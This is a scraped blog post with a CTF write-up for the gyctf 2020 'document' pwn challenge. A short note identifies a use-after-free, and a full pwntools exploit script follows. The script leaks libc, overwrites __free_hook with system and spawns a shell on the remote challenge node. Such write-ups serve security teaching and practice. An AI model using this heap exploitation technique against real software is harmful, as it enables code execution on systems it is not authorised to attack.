当前位置:网站首页>gyctf_ 2020_ document
gyctf_ 2020_ document
2022-06-30 00:09:00 【amazh】
Loopholes : There is uaf
Use ideas : adopt free fall size by 0x90 A pile of , then add, This will cut free Dropped chunk, As a new chunk Control structure of , At this point, we are concerned about these chunk Structure has write permission , So it's written as free_hook that will do .
exp:
from pwn import *
from LibcSearcher import *
# r = process("./document")
r = remote('node4.buuoj.cn',29119)
e = ELF("./document")
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = e.libc
libc = ELF('./buu2.23.so')
r.timeout = 0.5
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\0'))
uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\0'))
info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))
def dbg(cmd):
gdb.attach(r,cmd)
pause()
def add():
ru(b'Give me your choice :')
sl(b'1')
ru(b'input name')
se(b'/bin/sh\x00'.ljust(8,b'\x00'))
ru(b'input sex')
se(b'W')
ru(b'input information')
se(b'/bin/sh\x00'.ljust(8,b'\x00')*14)
def edit(index,desc):
ru(b'Give me your choice :')
sl(b'3')
ru(b'Give me your index :')
sl(str(index).encode())
ru(b'Are you sure change sex?')
se(b'Y')
ru(b'Now change information')
se(desc)
def delete(index):
ru(b'Give me your choice :')
sl(b'4')
ru(b'Give me your index :')
sl(str(index).encode())
def show(index):
ru(b'Give me your choice :')
sl(b'2')
ru(b'Give me your index :')
sl(str(index).encode())
add()#0
add()#1
delete(0)
show(0)
base = uu64(b'\x7f') - 0x3c4b78
leak('base',base)
free_hook = base + 0x3c67a8
leak('free_hook',free_hook)
sys = base + libc.sym['system']
shell = [0x45226,0x4527a,0xf03a4,0xf1247]
add()#2
add()#3
pl1 = b'a'*0x8 + p64(0x21) + p64(free_hook-0x10) + p64(0x1)
pl1 += b'a'*0x8 + p64(0x51) + b'a'*0x40
edit(0,pl1)
pl2 = p64(sys) + b'/bin/sh\x00'.ljust(8,b'\x00') + p64(0x0000000100000000) + b'\x00'*0x58
edit(3,pl2)
# leak('hook',base+shell[0])
# add()
delete(2)
r.interactive()边栏推荐
- FPGA Development (1) -- serial port communication
- 8软件工程环境
- Buffer flow exercise
- Ingenious application of golang generics to prevent null pointer errors of variables and structural fields
- Applet plug-in access, development and precautions
- New CorelDRAW technical suite2022 latest detailed function introduction
- 6.28日刷题题解
- Leetcode (680) -- verifying palindrome string II
- Table responsive layout tips for super nice
- Virtual machine online migration based on openstack
猜你喜欢

Project 1: deploy lamp ECSHOP e-commerce platform

代码分析平台 SonarQube 实战

Applet plug-in access, development and precautions
solo 博客皮肤导入 skins 文件夹后出现 500 错误

这次的PMP考试(6月25日),有人欢喜有人忧,原因就在这...

设置安全组、域名备案、申请ssl证书

AI首席架构师9-胡晓光 《飞桨模型库与行业应用》

Siemens low code platform connects MySQL through database connector to realize addition, deletion, modification and query

爬虫入门实战:斗鱼弹幕数据抓取,附送11节入门笔记

Koa2 learning and using
随机推荐
Zhongang Mining: Fluorite helps the construction and development of lithium battery in fluorine industry
Matlab exercises -- program control process exercise
Do mysqlcdc data not support windowing functions like row_ Number, lead
旋转彩色三叶草
After 8 years of polishing, "dream factory of game design" released an epic update!
Leetcode (680) -- verifying palindrome string II
QT learning 06 widgets and window types
Xutils3 transfer set
Inspiration collection · evaluation of creative writing software: flomo, obsidian memo, napkin, flowus
Unity splashimage scaling problem
Shell positional parameter variables and predefined variables
數莓派 4怎麼樣?可能的玩法有哪些?
After working in the software development industry for six years, I changed my ideas in those years
QT learning 04 Hello QT
What is online account opening? In addition, is it safe to open a mobile account?
Solr基础操作13
Introduction to reptiles: data capture of Betta barrage, with 11 introductory notes attached
Is China Merchants Securities reliable? Is it safe to open a stock account?
西门子低代码平台通过Database Connector 连接Mysql 实现增删改查
Leetcode (76) -- Minimum Covering substring